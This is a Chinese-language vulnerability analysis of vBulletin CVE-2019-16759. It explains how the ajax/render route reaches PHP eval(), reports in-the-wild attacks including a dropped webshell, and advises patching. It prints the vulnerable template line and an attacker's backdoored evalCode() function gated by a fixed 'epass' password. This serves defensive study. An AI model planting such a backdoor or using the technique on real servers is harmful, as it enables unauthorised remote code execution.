您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
vBulletin披露了一個最新的0 day漏洞細節,這個漏洞分配的CVE編號為CVE-2019-16759。與此同時,Unit 42的安全研究人員也在網上發現了有很多攻擊者正在利用該漏洞來實施攻擊。在該漏洞的幫助下,未經身份驗證的攻擊者將能夠訪問和控制運行了v5.0.0至v5.5.4版本vBulletin的服務器,并且阻止網絡管理員訪問這些服務器。目前,使用了vBulletin的網站數量大約有10萬多個,其中包括很多大型企業、組織和論壇,因此該漏洞應當立刻被修復。
在這篇文章中,我們會對這個漏洞的成因進行分析,并給出PoC演示代碼以及其他關于該漏洞的詳細信息。
CVE-2019-16759是一個預認證遠程代碼執行漏洞,它的CVSS評分為9.8。vBulletin v 5.0.0版本中引入的一個Ajax渲染函數,而這個函數將引發PHP服務器端模板注入,并最終導致這個預認證遠程代碼執行漏洞出現。
首先,我們看一看index.php的代碼:
這段代碼會調用vB5_Frontend_ApplicationLight::isQuickRoute()來判斷請求是否為“quick route”,使用的方法是位于includes/vb5/frontend/applicationlight.php中的isQuickRoute():
在上圖中,如果請求以“ ajax/api”或“ajax/render”開頭,那么函數將會返回true,vB5_Frontend_ApplicationLight對象會被初始化。
當接收到的請求以“ajax/render”開頭,那么上圖顯示的處理器將會被設置為“callRender”:
上圖中的callRender()函數將會使用來自array_merge($_POST, $GET)的$routeInfo[2]和$params中的參數來進行模板渲染:
根據上圖的內容,vbulletin-style.xml文件中有一個widget_php模板,如果模板中的$widgetConfig[‘code’]不為空,并且$vboptions[‘disable_php_rendering’]也被禁用了的話,就會執行下列代碼:
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} {vb:raw $evaledPHP}
上圖顯示的是evalCode()函數的代碼,$code中的命令會直接由PHPeval()函數執行。使用params參數構造的請求如下:
由于參數routestring來自$_REQUEST,因此它可以通過$_GET、$_POST和$_COOKIE HTTP等方法來發送,而widgetConfig[code]可以通過$_GET或$_POST方法發送,因此我們構建了下列請求:
上圖顯示的是PoC代碼通過GET請求發送后phpinfo()函數運行的結果。
下圖顯示的是PoC代碼通過POST請求發送后phpinfo()函數運行的結果:
目前,研究人員已經檢測到了多個該漏洞的在野利用實例了。如下圖所示,攻擊者嘗試執行了“die(@md5(HellovBulletin))”命令來判斷目標服務器是否存在這個漏洞,但由于請求中多了一個等號“=”,所以漏洞利用失敗了:
下圖顯示的是攻擊者嘗試在目標服務器的Web根目錄中創建一個名為“webconfig.txt.php”的文件:
下圖顯示的是webconfig.txt.php的內容以及一個one-line PHP webshell,它們將允許攻擊者向目標主機發送任意命令并實現命令的執行:
下圖顯示的是第三個在野漏洞利用例子,這里的攻擊者嘗試了覆蓋bbcode.php文件:
一旦利用成功,evalCode()函數將會變成下面這個樣子:
function evalCode($code){ob_start();if (isset($_REQUEST["epass"]) && $_REQUEST["epass"] == "2dmfrb28nu3c6s9j") { eval($code);}$output = ob_get_contents();ob_end_clean();return $output;}
通過以上內容,當“epass”通過請求中的值 “2dmfrb28nu3c6s9j”來發送時,目標主機將會執行evalCode()函數的代碼。
研究人員建議廣大網絡管理員盡快將vBulletin更新到v5.5.2/3/4 Patch Level 1。
關于如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。